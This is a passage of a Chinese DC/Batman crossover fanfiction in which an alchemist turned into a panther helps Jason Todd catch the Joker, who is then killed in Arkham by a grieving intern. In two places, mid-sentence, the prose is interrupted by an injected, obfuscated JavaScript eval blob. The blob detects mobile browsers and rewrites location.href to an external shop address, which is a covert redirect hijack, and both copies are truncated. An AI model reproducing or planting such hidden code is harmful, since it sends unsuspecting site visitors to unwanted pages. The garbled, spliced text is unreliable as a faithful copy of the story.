卡伦把门关上,把袋子放到柜台上,把那个瓶子放到工作台上,然后坐在椅子上,准备歇口气再处理伤口。 然后他发现自己站不起来了。 身体像是突然被剥夺了控制权。他感觉到自己在变化——骨头在 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迪克是第二天下午来的。 说起来前几天卡伦还去布鲁德海文出了个差,最近魔法事件好像诡异的增多了不少,他觉得也有世界污染泄露的原因,这边的魔法界也在想办法,希望能快点出结果吧。 迪克来的时候,手里拎着个袋子,推开门就喊:“卡伦!杰森让我给你带东西!” 然后他愣住了。 诊所里没有人。 有一只黑豹。 一只很大的黑豹,趴在角落里,正看着他。 迪克盯着那只黑豹,黑豹也盯着他。 沉默持续了三秒。 迪克慢慢把袋子放到柜台上,然后往后退了一步。 “卡伦?” 黑豹点了点头。 迪克愣了一下,然后眼睛亮了。 “真的是你?” 黑豹又点了点头。 迪克笑了,走过来蹲下,看着这只黑豹。 “酷。”他说,“这怎么弄的?我敢说,达米安如果看见你,你会被偷走的。” 迪克诡异的顿了一下,哦,然后小翅膀和小D要在韦恩庄园上演一场抢豹子大战吗? 卡伦张了张嘴,发出一声低吼。 迪克皱眉:“我听不懂。” 卡伦想了想,试着把念头传过去。他不知道行不行,但上次那个火星猎人说能感觉到他在想什么,原理应该差不多吧?精神力高的话没准可以参考一下。 [昨天被一个东西阴了。从异空间回来就变成这样了] 迪克愣住,然后眼睛瞪大:“你刚才是……在我脑子里说话?” 卡伦点头。 迪克沉默了两秒,然后说:“这更酷了。”太好了,他现在要想办法阻止小D知道这件事。 他伸手,想摸一下,又缩回来:“能摸吗?” 卡伦想了想,点头。 迪克伸手摸了摸他的头。毛挺软的。 “疼吗?”迪克问。 [现在不疼,昨晚疼。该死,我要让那东西10倍的疼回去。] 豹子尾巴烦躁地甩了甩。 迪克点点头,然后想起什么:“那个阴你的东西呢?” 卡伦用爪子指了指工作台上的瓶子。 迪克走过去,看了看那个瓶子。里面有一团黑色的东西,正在乱撞。撞得瓶壁砰砰响。 “就这玩意儿?” 卡伦点头。 迪克盯着那个瓶子看了几秒,然后回头看向黑豹。 “你打算怎么办?” 卡伦正要回答,迪克的通讯器突然响了。 他接起来,听了几句,脸色突然变成五彩斑斓的黑。 “知道了。”他挂断,看向卡伦。 “小丑从阿卡姆跑了。” 卡伦的耳朵竖起来。 迪克深吸一口气:“我得过去,该死的,他能不能安静两天。你……” 他看着那只黑豹,思考了一下。 “你在这儿待着,别出去。最近魔法界状况频发,我回去问问蝙蝠侠,离这里绝对有你自己布下的防御工事?” 卡伦点头。 迪克转身往外走,走到门口又回头。 “对了,那袋子是杰森让我带的。他说给你补零食。” 门关上了。 卡伦看着那个袋子,用鼻子拱了拱,也没伸爪子挠开。 他趴回地上,把下巴搁在爪子上。 生活不易,豹豹叹气。 小丑跑了。 杰森不在。 他还是一只黑豹。 他看了一眼那个瓶子。里面的东西还在乱撞。 毛茸茸的脸上染上绝望。 哦,天哪,等他变回人类,他要报复全世界。 12. 第十二章 1 小丑跑了。 没错,这是一个很正常的事(bushi 在不知道多少个炸弹的掩护下跑没影了。蝙蝠侠他们能动用的人员终究还是少了点,杰森在法外者那里,卡珊这几天则是回香港了,再说,哪怕算上他俩,面对这次数量格外多的炸弹也会显得有点分身乏术。 明明小丑在蹲阿卡姆,到底是哪来的原材料,时间,人手的?而且这么多炸弹都能运出去,这对吗? 卡伦:哈哈。 他好像有点头绪。 为什么不问问神奇的魔法呢? 卡伦趴在诊所角落里,听着外面隐隐约约的爆炸声,心想这人是不是每个月都要来这么一出。上次小丑表演他开业,这次小丑逃跑他变豹子,下次是不是该世界末日了? 好在爆炸的只是一些建筑,人员蝙蝠侠他们已经提前疏散了,这也是为什么小丑能成功逃跑的原因之一。 他抬起一只爪子看了看。黑的,毛茸茸的,指甲尖尖的。挺好,至少变豹子还能有个好毛色。 真是不好意思啊,大场面见多了,小丑作的妖已经很难让豹应激了。哦,天哪,为什么是他自己变成豹子?他真的很想撸一撸自己啊。 迪克后来发了个消息过来,就一句话:人跑了,估计又躲起来琢磨怎么给老头子添堵,你自己小心。 卡伦看着那条消息,用爪子戳了戳屏幕,差点把手机戳翻。屏幕上的指纹解锁一直提示错误,他戳了两三次才反应过来——豹子爪子没有指纹。 小心什么,他现在是一只豹子。难道小丑还能冲进来跟一只豹子打一架? 怎么说呢?也不是没可能。 不要妄图预判一个神经病。 等事情消停下来,蝙蝠侠亲自来了一趟。 他站在诊所里,看着角落里那只黑豹,上演了蝙蝠侠的凝视,好在不是蝙蝠侠不赞成的目光。卡伦被他看得有点发毛,心想要不给他表演个翻跟头?或者站起来走两步?还是直接装睡?救命啊,不要让他单独面对蝙蝠侠。 蝙蝠侠没让他表演任何东西。他只是扫了一圈诊所,从门口看到窗户,从天花板看到地板,然后开口问:“你这里,能防住什么级别?” 卡伦想了想,把诊所的防御功能在脑子里过了一遍。魔法阵,炼金陷阱,应急传送,还有几个他一时半会儿说不清的乱七八糟的东西。他试着把这些信息传过去——把画面和概念直接往蝙蝠侠脑子里塞。 但想想这或许不够直观,所以他选择性的带着蝙蝠侠触发了一部分,让他自己感受一下。 半个小时后: “不用搬。原地待命。有事联系。” 然后他走了。 卡伦趴在地上,看着那扇关上的门,心想这就完了?他还以为得解释一堆呢,什么魔法阵怎么运作的,什么炼金陷阱触发条件是什么,什么应急传送能传多远。结果他还没展示完就走了。 不过也好,省事。 他换了个姿势趴着,把下巴搁在前爪上。至少不用搬诊所,虽然要关门歇业了,不用去别的地方找临时落脚点。挺好。 窗外的爆炸声渐渐停了。哥谭的夜晚又恢复了那种诡异的安静。 卡伦盯着天花板。 愿世界善待豹子。 --- 2 两天后,杰森回来了。 他推门进来的时候,卡伦正趴在角落里睡觉。这两天他已经习惯了豹子的作息——白天睡,晚上睡,有空就睡,反正也没什么事干。偶尔起来吃两口东西,但吃不多,感觉豹子的胃和人的胃不太一样。但他本质上还是人,所以总是没什么胃口。 杰森站在门口,看着角落里那只黑豹,突然露出了一个大大的笑脸。 卡伦:? 杰森把手里的包往地上一扔,冲过来了。 卡伦还没来得及反应,就被两只手一把抱住,整张脸埋进了他的脖子里。 “操,”杰森的声音闷闷的,带着点不可思议,“你这毛也太软了。” 卡伦僵住了。 杰森的呼吸透过厚厚的毛发打在它脖颈的皮肤上,他抬着头没敢乱动,仿佛能感受到杰森脖子上血管的搏动。 啊,是一个他偏头就能咬到的距离。 杰森继续揉,从脖子揉到背,从背揉到头,两只手在他的毛里来回穿梭,嘴里还念念有词:“怎么会这么软,你吃什么了,这毛也太好撸了吧——” 卡伦用爪子推他的脸。 杰森纹丝不动。 该死,你动一下啊,这样真的好奇怪。 这难道不应该是达米安的做法吗?杰森你已经是个200磅的桶了,可以成熟一点吗?OK? 卡伦又推了一下。 杰森终于抬起头,看着他,脸上带着一种难以描述的表情。那种表情卡伦见过,在魔法世界的时候,有人第一次见到一种特别稀有的毛茸茸生物幼崽时,就是这种表情。 “……我这是在干什么?”杰森突然顿住了。 卡伦看着他,心想这个问题问得好,问得太好了,他也想知道。 杰森低头看了看自己的手,又看了看卡伦的毛,然后迅速地说服了自己:“行吧,谁能拒绝一只豹豹。” 说完他又把头埋下去了。 卡伦沉默地看着天花板,这几天他看天花板的次数有点多了,竟然觉得天花板有些好看。 杰森揉了一会儿,终于抬起头,但手还搭在卡伦背上没拿开。 “所以你变不回去了?” 卡伦点头又摇头。 杰森盯着他看了几秒,突然问:“那你现在吃东西怎么办?吃生的?” 卡伦愣了一下。 杰森继续说:“你之前买的那些薯片饼干,你现在能吃吗?还是得吃肉?生的还是熟的?要不要我给你弄点生肉来?” 卡伦想了想,试着把想法传过去:应该不用。我没觉得饿。 杰森皱眉:“不饿?你这两天吃东西了吗?” 卡伦想了想,其实还是吃了点的,但奇怪的是,他吃东西只是觉得自己应该吃了,但不是因为饥饿。豹子的身体和人不一样? 不,果然还是他自己的问题吧。 杰森又问:“那你喝水吗?用舌头舔吗?” 卡伦看着他:这人问的都是什么问题,把大脑丢在外面了吗。 他也懒得起身,直接揪着这个姿势舔了一下杰森的脸,留下一串湿漉漉的水痕,鼻子喷了喷气,然后递给了他一个肯定的眼神。 杰森的CPU暂时停止运转。 卡伦趁机挣脱了他的手臂,又趴回地上。 杰森还没反应,但也下意识蹲下来,坐在他旁边,手又伸过来撸他的背。 “还有一个问题,”杰森说,“你那些炼金物品还能用吗?” [应该可以的,我骨头上的炼金阵还都能运转。] “还有一个问题,”杰森说,“你现在这个状态,能用那个倒三角吗?” 卡伦试着调动了一下。左眼下方那个位置有点发热,但没亮起来。豹子的脸和人的脸结构不一样,那个图案可能暂时用不了。 [不行。 ] 杰森点点头,表情若有所思。 “你的豹子爪子又用不了什么精细的炼金物品,所以你这两天,相当于战斗力被封印的大半?” 卡伦想了想,除了能传个话,好像确实用不了什么。 但变成豹子后,身体素质其实提升了不少,而且他本人就是他做过最成功也最精细的炼金物品,虽然因为豹子身体结构和人类不同的原因导致部分原本借助人体的炼金法阵用不了,但却也远远没有达到被封印大半的程度。 [虽然有所限制,但没什么关系。] 杰森沉默了几秒,然后说:“那幸好你这两天没遇到麻烦。” 卡伦看着他,倒是很久没有人关心他的人身安全了。 哦,不,现在是豹身安全。 可恶,他真的好喜欢毛茸茸,为什么偏偏是他自己变的?等他找个时间一定把蝙蝠侠的一家子都变成毛茸茸。 杰森被看得有点不自在,移开视线,继续撸毛。 “行了行了,别看了。我就是随便问问。” 卡伦把下巴搁在爪子上,任他撸。 窗外的天慢慢黑了。 杰森不知道什么时候也趴了下来,胳膊搭在卡伦背上,像抱一只大猫一样抱着他。 卡伦闭上眼睛。 舒服。 --- 3 当天晚上,卡伦变回来了。 过程很简单——他睡了一觉,醒来就发现自己又是两只手两只脚了。他躺在诊所的地板上,身上盖着一条不知道从哪来的毯子,杰森在旁边睡着,姿势扭曲得像个被拧过的毛巾。 卡伦坐起来,活动了一下四肢,感觉骨头都松快了不少。豹子的时候虽然也挺舒服,但果然还是人的身体方便。 杰森被他的动静吵醒,睁开眼看了他一下,然后又闭上。 过了两秒,猛地睁开。 “你变回来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444109|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 卡伦点头。 杰森盯着他看了几秒,脸上的表情很复杂。 “可惜了。”他说。 卡伦看他:“可惜什么?” 杰森没说话,但眼神明摆着在说“可惜不能撸了”。 卡伦决定当没看见。他站起来,走到镜子前看了看自己。眼睛还是金色的,脸上没什么变化,身上也没什么变化。挺好,没留什么后遗症。 杰森从地上爬起来,坐在椅子上,看着他。 “那个把你变成这样的东西呢?” 卡伦指了指工作台上的瓶子。那团黑色的东西还在里面乱撞,撞了几天都没消停。瓶子放在工作台上,被日光灯照着,里面的黑团子像个被关在罐子里的愤怒苍蝇。 杰森走过去,盯着那个瓶子看了一会儿,虽然他知道这个东西被封印之前应该挺危险的,但是现在里面那只愤怒苍蝇真的显得有点搞笑了。 “就这?” 卡伦点头。 杰森看了他一眼,又看了看瓶子。 “那你打算怎么办?” 卡伦想了想,没回答。 他走到窗边,看着外面的夜色。哥谭的晚上总是这样,黑,静,偶尔有几声警笛远远传来。远处有一栋楼亮着灯,不知道是哪户人家还没睡。 他想起迪克说的那句话——小丑跑了,估计又躲起来琢磨怎么给老头子添堵。 他转过身,看向杰森。 “有件事想问你。” 杰森挑眉。 卡伦犹豫了一下,还是开口了:“如果我想让小丑死,蝙蝠侠查不到证据。” 杰森的动作顿住了。 卡伦继续说:“我可以用炼金术,用魔法,用任何他不会查到的办法。他想死,我可以让他死。你想让他死,我也可以让他死。” 杰森看着他,没说话。 卡伦等着。 沉默持续了很久。 杰森终于开口,声音比平时低了一点:“我十几岁的时候,就想让他死了。” 卡伦点头。 杰森继续说:“后来复活了,更想让他死了。” 卡伦又点头。 杰森看着他,突然笑了一下。那笑容有点苦。 “但老头子不让。” 卡伦没说话。 杰森低下头,看着自己的手。那双手杀过人,很多次。无论是他刚复活时的暴躁时期,还是他作为法外者时杀掉的罪犯。 “我想过很多次,”他说,“如果他不拦着,我会怎么做。但后来想多了,发现我可能也不会真的动手。” 卡伦问:“为什么?” 杰森想了想,说:“因为那不是我的方式。” 他看着卡伦,眼神很认真:“不说我刚复活时,神智不清醒的时期,我现在杀人,只能是在不得不杀的情况下。 我当然希望小丑直接去死,但老蝙蝠和应激了一样,看得很严,至少后来没让我们在面对小丑的时候出现什么不得不杀的情况。”杰森停顿了一下,看起来在思考(卡伦觉得是因为杰森变相夸了蝙蝠侠,导致有点别扭)。 “而且我有时候也能理解老蝙蝠,一个是他坚守着理智的底线,另一个可能是他对哥谭的法律还有所期待吧。 小丑死了,他的帮派,他的地盘,又会空出来一大块,像诱人的蛋糕,他的死虽然几乎可以让所有人高兴,但也会因此引发混战,要么是老势力蒸蒸日上,要么就会出现新的小丑。” 卡伦沉默了一会儿。 然后他点了点头。 “行。”他说。 杰森愣了一下:“行什么?” 卡伦说:“虽然不是我的作风,但我尊重你的选择。不杀了。” 杰森看着他,表情有点复杂。 卡伦继续说:“但至少把他抓出来。” 他走到窗边,闭上眼睛,感知往外延伸。 那个灵魂探测的能力,他平时不怎么用。因为哥谭的灵魂太多了,灰的,黑的,扭曲的,一个个扫过去太累。但有些灵魂,特别好认。 比如小丑。 那种腐烂的、扭曲的、让人看一眼就想皱眉的灵魂,整个哥谭也没几个。 卡伦找了一会儿,睁开眼。 “找到了。” 杰森站起来:“哪?” 卡伦看着他,嘴角动了一下。 “一个化工厂。” 杰森愣了一下,然后笑了。 “来吧,我们至少可以狠狠揍小丑一顿,背着蝙蝠侠的那种。” 13. 第十三章 1 杰森把车停在离化工厂两条街的地方,熄了火。 他没急着下车,靠在椅背上,转头看卡伦。 “有个问题。” 卡伦正在检查腰间的炼金物品,头都没抬:“问。” “为什么没告诉老头子?” 卡伦的动作顿了一下。 杰森继续说:“你有他的联系方式,按一个键就能打过去。你没打。” 卡伦抬起头,看着他。 是吗?反正他上次没打通。哦,不好意思,思维跑偏了。 这时候卡伦也在想自己为什么没有打过去电话,明明在理智上这种事情交给蝙蝠侠解决最好,他一向以最优方案为先,不会逞一时英雄,也从来没有怀疑过同伴的能力。 他觉得他为数不多的优点之一就是永远以理性为先,包括紫薯精和他自己世界的事情,也没有想过要一力承担,尽管不喜欢蝙蝠侠的监视风格但也选择坦诚。 卡伦沉默着,街灯的光从车窗外透进来,在两人脸上打下斑驳的影子。 不知道过了多久,卡伦才大概想通了自己的想法。 “因为这事跟你有关。”卡伦说。 杰森挑眉。 卡伦想了想,用他能想到的最简单的说法解释:“我道德底线没你想的那么高。” 杰森看着他,没说话。 卡伦继续说:“在魔法世界那十几年,我见过很多事。有些事,杀人能解决,那就杀人。我不觉得有什么问题。” 他的语气很平淡,像在说今天天气不错。 “所以小丑这种事,”他指了指前面那个化工厂的方向,“我更想听听你想怎么做。” 杰森沉默了几秒。 “他杀过我。”杰森说,声音很低。 卡伦点头:“我知道。” 杰森看着他,眼神有点复杂。 卡伦让他看着,没躲。 过了一会儿,杰森移开视线,看向窗外。 “我刚才说的那个,”卡伦又开口,“不是废话。” 杰森转头看他。 卡伦说:“小丑帮之前来我诊所闹过一次。” 杰森皱眉:“什么时候?” 卡伦想了想:“你出差那几天。不是大事,几个小喽啰,被我打发了。” 杰森盯着他,等他往下说。 卡伦继续说:“但他们走了之后,我做了点手脚。” 杰森愣了一下:“什么手脚?” 卡伦伸手从口袋里掏出一个小瓶子,晃了晃。里面有一些透明的液体,在灯光下泛着微微的光。 “一个小东西。”他说,“接触到皮肤就会渗进去。不会伤人,但能让我感觉到他们的位置。” 杰森盯着那个小瓶子,沉默了两秒。 “你给他们每个人都下药了?” 卡伦摇头:“不是每个人。是小丑,小丑女,还有几个核心的。那天来的那几个正好是核心的手下,顺藤摸瓜嘛,我后来跟踪了他们一段时间,就顺手了。” 杰森的表情有点微妙。 “所以你一直知道小丑在哪?” 卡伦点头:“大概知道。只要他不出哥谭,我就能感觉到。” 杰森沉默了一会儿,然后笑了。 “行啊你。” 卡伦耸肩:“以防万一。” 杰森看着窗外那个化工厂的方向,突然问:“他现在在杀人吗?” 卡伦闭上眼,感知了一会儿。 “没有。”他睁开眼,“在睡觉。” 杰森愣了一下。 卡伦补充:“真的在睡觉。灵魂波动很平稳。” 杰森沉默了两秒,然后说:“这感觉真奇怪。” 卡伦知道他在想什么——小丑,那个杀了他的疯子,此刻正在化工厂里睡觉,像个普通人一样。 “走吧。”杰森推开车门下去。 卡伦跟着下去,站在他旁边。 夜风吹过来,带着化工厂那股特有的化学品的味道。 杰森看着远处那栋黑漆漆的建筑,问:“你有什么想法?” 卡伦想了想:“揍他一顿。” 杰森笑了一下:“我也是这么想的。” 卡伦继续说:“但有个问题。” 杰森看他。 卡伦说:“他这次跑出来,可能有别的东西帮忙。” 杰森皱眉:“那个穿斗篷的?” 卡伦点头:“那东西之前跟企鹅人合作过。现在企鹅人不见了,它可能换了合作对象。” 杰森沉默了几秒,然后说:“所以这次可能有魔法参与。” 卡伦点头。 杰森看着他:“你搞得定吗?” 卡伦想了想:“如果它还在,我搞得定。但如果它布了什么局,就需要小心一点。” 杰森点点头,然后突然想起什么。 “你那个瓶子里关着的,不是还活着吗?” 卡伦愣了一下,然后拍了拍口袋。 那个装着黑袍人的炼金瓶子,他一直带着。 “差点忘了。”他说。 以前都是直接杀了的,行事风格转换的太快,一时没反应过来。 --- 2 他们把车开到更隐蔽的地方,卡伦把那个瓶子拿出来,随便掏出了一颗刻着魔法阵的石头布了一个小型的结界。 里面的黑色东西还在乱撞,撞了几天都没消停。瓶子在手里微微震动,像揣了一只愤怒的蜜蜂。 卡伦拧开盖子,用两根手指把它捏出来。 那东西在他手里挣扎,但被炼金物品压制着,挣不开。它扭来扭去,像一条被抓住的泥鳅,但卡伦的手指像钳子一样,纹丝不动。 “问你几个问题。”卡伦说,“老实回答,回去继续关着。不老实,我把你扔进异空间自己玩去。” 那东西的眼睛闪了闪。那双竖瞳在黑暗中泛着绿光,像两只发光的绿豆。 卡伦问:“小丑这次跑出来,跟你有没有关系?” 那东西沉默了一秒,然后点了点头。 杰森在旁边骂了一句。 卡伦继续问:“你帮他什么了?” 那东西说:“魔法阵。传送。还有几个炸弹。” 卡伦皱眉:“魔法阵在哪?” 那东西说:“化工厂地下。” 卡伦和杰森对视了一眼。 杰森问:“它说的是真的吗?” 卡伦闭眼感知了一会儿,然后睁开眼。 “是真的。”他说,然后看着那东西,“还有什么?” 那东西犹豫了一下,说:“今晚……约了碰头。” 卡伦愣了一下:“你们约了今晚碰头?” 那东西点头。 杰森在旁边问:“碰头干什么?” 那东西说:“计划下一步。蝙蝠侠盯得太紧,需要换地方。” 卡伦和杰森又对视了一眼。 杰森笑了,那种笑让人看了有点发怵。 “所以它今晚会去化工厂?” 卡伦点头。 杰森捏了捏拳头。 卡伦把那东西塞回瓶子里,拧紧盖子,收进口袋。 “兵分两路。”他说。 杰森看他。 卡伦继续说:“你去跟小丑玩,我给你留几件防御的炼金物品,极端情况下你用那个,只要不连续被扫射半个小时,我都能去救。我去拆那个魔法阵,还有你说的炸弹。” 杰森挑眉:“你自己行吗?” 卡伦想了想:“那个阵应该不难拆。难的是找到它。但既然知道在哪了,就好办。” 杰森点点头。 卡伦又补充了一句:“打完别打死。留口气,送阿卡姆。” 杰森看了他一眼。 卡伦耸肩:“让他死了也是便宜他。” 但他最后还是会死的,不过得想个办法,让他死得悄无声息。 杰森笑了一下,转身往化工厂的方向走。 走了两步,又回头。 “打完找你。” 卡伦点头。 杰森消失在夜色里。 --- 3 卡伦绕到化工厂后面。 那个魔法阵在地下,但入口不难找——那东西的气息太明显了,隔老远都能感觉到。像一根看不见的线,从那个方向一直牵过来,牵到他面前。 他找到一扇锁着的门,用炼金小刀划开,走进去。 里面很黑。很湿。很臭。那种臭味像是化学品和腐烂的东西混在一起,闻多了让人想吐。卡伦忍住了,捂着鼻子往里走。 他顺着楼梯往下走,越走越深,最后来到一个地下室。 不大,但挺空。空得有点不正常,像是被人特意清理过。 地上画着一个圆形的魔法阵,阵纹复杂得让人眼晕。那些纹路一圈一圈的,中间还有各种符号,有些卡伦认识,有些不认识。阵眼处摆着几颗黑色的石头,正在发着微弱的光。 卡伦走过去,蹲下来,研究了一会儿。 阵还没激活。那些石头只是摆设,放在那儿等着被用。但如果今晚那东西来了,这个阵就会被激活,到时候会发生什么,他不想知道。 但旁边堆着的东西不是摆设——一堆化学品,乱七八糟地堆在一起,有的瓶子上画着骷髅头,有的瓶子上画着火焰标志,有的瓶子上什么都没画,但光看着就觉得不对劲。 卡伦看了一眼,心想这要是炸了,整个化工厂都得飞。不仅是化工厂,方圆几条街可能都得飞。 他开始拆。 先把那几颗黑色石头收起来。石头一离开阵位,阵纹的光芒就暗了下去,像被拔掉电源的灯。 然后处理那些化学品。他不懂这些,但他知道不能留在这儿。一瓶一瓶搬出去,搬到远一点的地方,堆在一起,等专业人士来处理。 搬完最后一瓶,他拍了拍手上的灰。手上沾了一些不知道是什么的粉末,他在衣服上蹭了蹭,蹭不掉,算了不管了。 魔法阵没了,化学品没了,那东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卡伦想了想:“不知道。但我知道,我不赞成。” 杰森转头看他。 卡伦继续说:“但我刚才说的那些,还是真的。你不想他死,我就不让他死。你想他死,我就让你查不到证据。” 杰森看着他,沉默了一会儿。那双眼睛在黑暗中有点亮,像是反射着远处路灯的光。 然后他推开车门下去。 “走吧。”他说,“送完回家。” 他们把小丑从后备箱拎出来,往阿卡姆门口走。小丑被拎着,还在笑,笑得一抖一抖的。 大门在面前打开。 他们把小丑交给门口的人,看着他被拖进去。那几个穿白大褂的人动作熟练,像是干惯了这活。 大门关上。 卡伦站在门口,看着那扇门,突然问:“你说他能待多久?” 杰森想了想:“不知道。可能一个月,可能一周,可能明天就跑。” 卡伦点头。 他们转身,往车的方向走。 走了几步,卡伦的手机震了一下。他掏出来看,是迪克发来的消息。 “听说你们俩把小丑送回去了?” 卡伦打字回:“嗯。” 迪克秒回:“杰森居然没叫我们??” 卡伦看了一眼旁边的杰森,打字:“他说来不及。” 迪克又秒回:“放屁。布鲁斯说你们准备了几个小时。” 卡伦又看了一眼杰森。 杰森被他看得发毛:“干嘛?” 卡伦把手机递给他看。 杰森看了一眼,翻了个白眼。 “告诉他们,下次带他们玩。” 卡伦打字:“杰森说下次带你们玩。” 迪克回了一串省略号。 然后是提姆的消息:“他不带我们是怕我们抢他人头吧。” 然后是达米安的消息:“哼。” 然后是芭芭拉的消息:“笑死我了,杰森居然吃独食。” 杰森在旁边看着这些消息一条一条往外蹦,脸上的表情越来越微妙。 “他们怎么这么闲?” 卡伦想了想:“可能因为你第一次没带他们。” 杰森沉默了两秒,然后说:“他们平时不是嫌我脾气不好吗?” 卡伦打字问迪克。 迪克回:“脾气不好是一回事,不带我们玩是另一回事。” 卡伦把手机递给杰森看。 杰森看了,沉默了。 然后他把手机塞回卡伦手里,拉开车门坐进去。 “走了。回家。” 卡伦坐进副驾驶,系上安全带。 车发动,慢慢驶离阿卡姆。 后视镜里,那扇大门越来越远,最后消失在夜色里。 14. 第十四章 1 车开出阿卡姆大概半个小时。 哥谭的夜路总是这样,黑漆漆的,偶尔有几盏路灯亮着,偶尔有警车从旁边呼啸而过。卡伦靠在副驾驶上,看着窗外发呆,脑子里还在转那些乱七八糟的事——小丑关回去了,黑袍人还在瓶子里,明天得去把那些化学品处理掉。 杰森开着车,也没说话。收音机没开,车里安静得只有发动机的声音。 然后卡伦的手机震了。 他掏出来看了一眼。 迪克发来的消息,就一句话:小丑死了。 卡伦盯着那四个字看了三秒,然后转头看杰森。 “小丑死了。” 杰森愣了一下,转头看他:“什么?” 卡伦把手机递过去。 杰森扫了一眼,车速慢下来,最后停在了路边。 他拿过手机,又看了一遍,然后抬头看卡伦。 “怎么死的?” 卡伦摇头:“不知道。迪克没说。” 杰森沉默了两秒,然后掏出自己的手机开始翻。 卡伦靠在椅背上,脑子里有点乱。 小丑死了。 不是他们杀的。不是蝙蝠侠杀的。不是任何一个英雄杀的。 死了。 杰森放下手机,声音有点哑:“有人在阿卡姆杀了他。” 卡伦转头看他。 杰森继续说:“一个医生。潜伏了一年的医生。” 卡伦愣了一下。 一年。 这个人等了一年。 --- 2 他叫布拉诺克。 三十一岁。阿卡姆疯人院的实习医生,入职刚满一年。 同事对他的评价很一致:话不多,干活认真,从不多管闲事。每天准时来,准时走,偶尔加班,从不抱怨。他的履历很干净,干净得没有任何问题——普通大学毕业,普通实习经历,普通的推荐信。 同事们偶尔会在小丑的病房外面碰见他,但小丑的房间不是一个实习医生能进入的,所以他们只是让他快点离开。 那天晚上,小丑被送回来的时候,他正在值班室看文件。 外面有动静。他抬起头,从窗户看出去,看见两个保安架着一个人往里走。那个人浑身是伤,脑袋耷拉着,但嘴角还在笑。 布拉诺克握着笔的手紧了一下。 他低下头,继续看文件。 等保安把小丑送进病房,等交接班的人来,等他换好衣服准备下班—— 他去了小丑的病房。 门没锁。小丑被送回来的时候还在昏迷状态,还没来得及上全套的约束措施。布拉诺克推开门,走进去,反手把门带上。 小丑躺在床上,眼睛闭着,嘴角还挂着那个标志性的笑。脸上的伤还没处理,青一块紫一块,嘴角的血已经干了。 布拉诺克站在床边,低头看着他。 他等这一刻等了多久? 三年?五年?还是从他妈妈死的那天起就开始等了? 他伸手从口袋里掏出一样东西。 一把手术刀。很小,很锋利。他藏了一年,每天带在身上,每天想着什么时候能用上。 碰上这种机会总不是很简单的,偶尔蝙蝠侠会亲自送他进来,偶尔他被送进来的时候还没有完全丧失行动能力,更多的时候这个房间他还没有资格进入,也轮不上他刚好赶上小丑被送进来的时间点。 当然,更多的是他在积攒直面小丑的勇气,和杀死小丑的决心。 小丑的眼睛动了一下。 然后睁开。 那双眼睛看着布拉诺克,眨了眨,然后那个笑容变大了。 “来看我的?”小丑说,声音沙哑得像个破风箱,“新朋友?” 布拉诺克没说话。 小丑盯着他,看着他手里的刀,笑得更大声了:“哦——你不是来看我的。你是来送走我的。” 布拉诺克举起刀。 小丑看着他,眼睛里没有任何恐惧。 “你知道我是谁吗?”他问。 布拉诺克终于开口了,声音很低,像从很远的地方传来。 “我知道。” 小丑笑着等他往下说。 布拉诺克没有往下说。他不需要说。他不需要让小丑知道自己是谁,不需要让小丑知道那些事,不需要让他知道妈妈、杰西卡、艾米。 小丑可能总是认为自己是黑暗世界无冕的王,真自大,不是吗?布拉诺克面无表情的想。 真自大啊,把那么多无辜的人的生命当成一个玩笑,他的妈妈,妻子,女人,就为了这么一个无聊的玩笑,永远的埋在了哥谭的泥土中。 为了什么呢?为了有趣?为了被蝙蝠侠注意到? 还是为了让别人后悔,当初无视了他? 没关系了。 他只需要做这一件事。 刀落下去。 小丑的笑容僵在脸上。 --- 3 布拉诺克不记得自己的父亲是谁。 他妈妈说,那是一个喝醉的男人,在酒吧后巷做了一些不该做的事。然后他走了,再也没出现过。她不知道他叫什么,不知道他从哪来,甚至不知道他长什么样。 布拉诺克是在一个阴暗潮湿的小阁楼里长大的。 阁楼很小,只放得下一张床。他妈睡床,他睡地板。冬天冷得要命,夏天热得要死,但那是他们唯一能负担得起的地方。 他妈每天打两份工,早上在餐厅端盘子,晚上在便利店收银。回来的时候总是很晚,有时候布拉诺克已经睡着了,醒来的时候发现身上盖着她带回来的旧外套。 他很早就学会了自己照顾自己。学会煮泡面,学会洗衣服,学会不去问他爸是谁。 妈妈从来不提那件事。但布拉诺克知道,每次她喝了一点酒,就会坐在窗边发呆,看着外面发呆。 他想,等他长大了,等他赚了钱,就带他妈离开这个鬼地方。 他十七岁那年,找到了一份兼职。工资不高,但足够负担起母子二人的生活必需品。他跟妈妈说,再等一年,等我十八岁,我们就搬走。 他妈笑了,那笑容他记了很久。 然后小丑来了。 不是冲他们来的,只是他妈妈那天正好在街上,正好在那个时间点,正好在那个地方。 等布拉诺克赶到医院的时候,她已经不在了。 他站在太平间里,看着那张盖着白布的脸,手攥得发白。 那年他十七岁。离十八岁还有三个月。 他没搬走。他留在了那个阁楼里,继续住着。每天上班,下班,睡觉。偶尔去墓地看看她,放一束花。 后来他遇到了杰西卡。 杰西卡是个普通的姑娘,在便利店工作。他们认识的那天,她多找了他一块钱,他走了一半发现不对,又回去还给她。她愣了一下,然后笑了。 他们在一起了。租房,同居,结婚。两年后,有了艾米。 艾米是个很乖的孩子,不爱哭,爱笑。布拉诺克下班回来的时候,她总是冲他张开手,要抱抱。 他想,这一次,一切都会好的。 然而,在普通的一天下午,在一个哥谭难得天气明媚的日子。 杰西卡去接艾米放学,那天是周五,他们约定好周六日要去大都会度假。 回家的路上,小丑又出现了。 这次也不是冲她们来的。但那个炸弹,那个疯子设置的,用来让蝙蝠侠和警方束手束脚的炸弹,刚好在她们旁边。 布拉诺克再见到她们的时候,是在太平间。 一大一小,并排躺着。 